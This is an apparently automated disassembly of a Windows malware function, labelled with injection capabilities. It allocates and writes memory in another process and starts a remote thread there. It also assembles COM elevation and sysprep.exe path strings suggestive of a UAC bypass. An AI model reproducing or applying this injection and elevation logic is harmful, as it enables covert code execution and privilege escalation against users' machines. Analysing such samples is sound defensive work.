Function at 0x140001280
Capabilities:
Create thread
Get common file path
Inject thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1188]
mov eax, 0x1260
call fcn.140001c40
sub rsp, rax
xor r14d, r14d
lea rax, [section..text]
lea r12, [fcn.140001280]
mov rdi, r8
mov rbx, rdx
mov r13b, cl
mov dword [rbp + 0x11a8], r14d
cmp rax, r12
jae 0x14000165c
lea rcx, [rsp + 0x48]
xor edx, edx
mov r8d, 0x1000
call sub.msvcrt.dll_memset
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdx, qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [rsp + 0x48], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x50], rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, r14d
mov qword [rsp + 0x58], rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea r15, [0x140000000]
mov qword [rsp + 0x60], rax
movzx eax, word [rcx + r15 + 0x21a0]
add rcx, 2
mov word [rbp + rcx + 0xdce], ax
test ax, ax
jne 0x14000132e
mov rcx, r14
movzx eax, word [rcx + r15 + 0x21b8]
add rcx, 2
mov word [rbp + rcx + 0xdf6], ax
test ax, ax
jne 0x14000134b
mov rax, qword [str.CoInitialize]
lea rcx, [rbp + 0xe5c]
lea rdx, str.CoCreateInstance
mov qword [rbp + 0xe20], rax
mov eax, dword [0x1400021d8]
mov r8d, 0x11
mov dword [rbp + 0xe28], eax
mov al, byte [0x1400021dc]
mov byte [rbp + 0xe2c], al
mov eax, dword [str.CoUninitialize]
mov dword [rbp + 0xe34], eax
mov eax, dword [0x1400021e4]
mov dword [rbp + 0xe38], eax
mov eax, dword [0x1400021e8]
mov dword [rbp + 0xe3c], eax
movzx eax, word [0x1400021ec]
mov word [rbp + 0xe40], ax
mov al, byte [0x1400021ee]
mov byte [rbp + 0xe42], al
mov rax, qword [str.CoGetObject]
mov qword [rbp + 0xe48], rax
mov eax, dword [0x1400021f8]
mov dword [rbp + 0xe50], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [0x140002230]
movups xmm0, xmmword [str.SHCreateItemFromParsingName]
movsd xmm1, qword [0x140002228]
lea rcx, [rbp + 0xf50]
mov edx, 0x104
mov dword [rbp + 0xe88], eax
movaps xmmword [rbp + 0xe70], xmm0
movups xmm0, xmmword [str.ShellExecuteExW]
movsd qword [rbp + 0xe80], xmm1
movdqu xmmword [rbp + 0xe8e], xmm0
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x14000165c
lea rcx, [rsp + 0x68]
sub rcx, rdi
movzx eax, word [rdi]
mov word [rcx + rdi], ax
add rdi, 2
test ax, ax
jne 0x140001457
mov rcx, r14
movzx eax, word [rbp + rcx + 0xf50]
add rcx, 2
mov word [rbp + rcx + 0x16e], ax
test ax, ax
jne 0x14000146a
xor eax, eax
or rsi, 0xffffffffffffffff
lea rdi, [rbp + 0x170]
mov rcx, rsi
repne scasw ax, word [rdi]
mov rax, qword [str._sysprep]
mov rcx, r14
mov qword [rdi - 2], rax
mov rax, qword [0x140002250]
mov qword [rdi + 6], rax
movzx eax, word [0x140002258]
mov word [rdi + 0xe], ax
movzx eax, word [rcx + r15 + 0x2260]
add rcx, 2
mov word [rbp + rcx + 0x376], ax
test ax, ax
jne 0x1400014ba
mov rdx, r14
movzx eax, word [rbp + rdx + 0xf50]
add rdx, 2
mov word [rbp + rdx + 0x786], ax
test ax, ax
jne 0x1400014d7
xor eax, eax
mov rcx, rsi
lea rdi, [rbp + 0x788]
repne scasw ax, word [rdi]
lea rsi, str._sysprep_sysprep.exe
lea ecx, [rax + 0x15]
sub rdi, 2
mov rdx, r14
rep movsw word [rdi], word [rsi]
movzx eax, word [rdx + r15 + 0x22b0]
add rdx, 2
mov word [rbp + rdx + 0xb96], ax
test ax, ax
jne 0x140001513
movups xmm0, xmmword [0x140002370]
movups xmm1, xmmword [0x140002380]
movdqu xmmword [rbp + 0xda0], xmm0
movdqu xmmword [rbp + 0xdb0], xmm1
movups xmm0, xmmword [0x140002390]
movdqu xmmword [rbp + 0xdc0], xmm0
test r13b, r13b
jne 0x14000156e
lea rcx, [rsp + 0x40]
call section..text
jmp 0x14000165e
mov esi, 0x1008
xor edx, edx
mov rcx, rbx
lea r9d, [rsi - 8]
mov r8d, esi
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x14000165c
lea r8, [rsp + 0x40]
mov r9d, esi
mov rdx, rax
mov rcx, rbx
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000165c
lea r13, [section..text]
lea r9d, [rsi - 8]
xor edx, edx
sub r12, r13
mov rcx, rbx
mov dword [rsp + 0x20], 0x20
mov r8, r12
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x14000165c
mov r9, r12
mov r8, r13
mov rdx, rax
mov rcx, rbx
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000165c
mov qword [rsp + 0x30], r14
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
test rax, rax
je 0x14000165c
mov edx, 0x9c40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x14000164b
lea rdx, [rbp + 0x11a8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x11a8]
jmp 0x14000165e
xor eax, eax
lea r11, [rsp + 0x1260]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret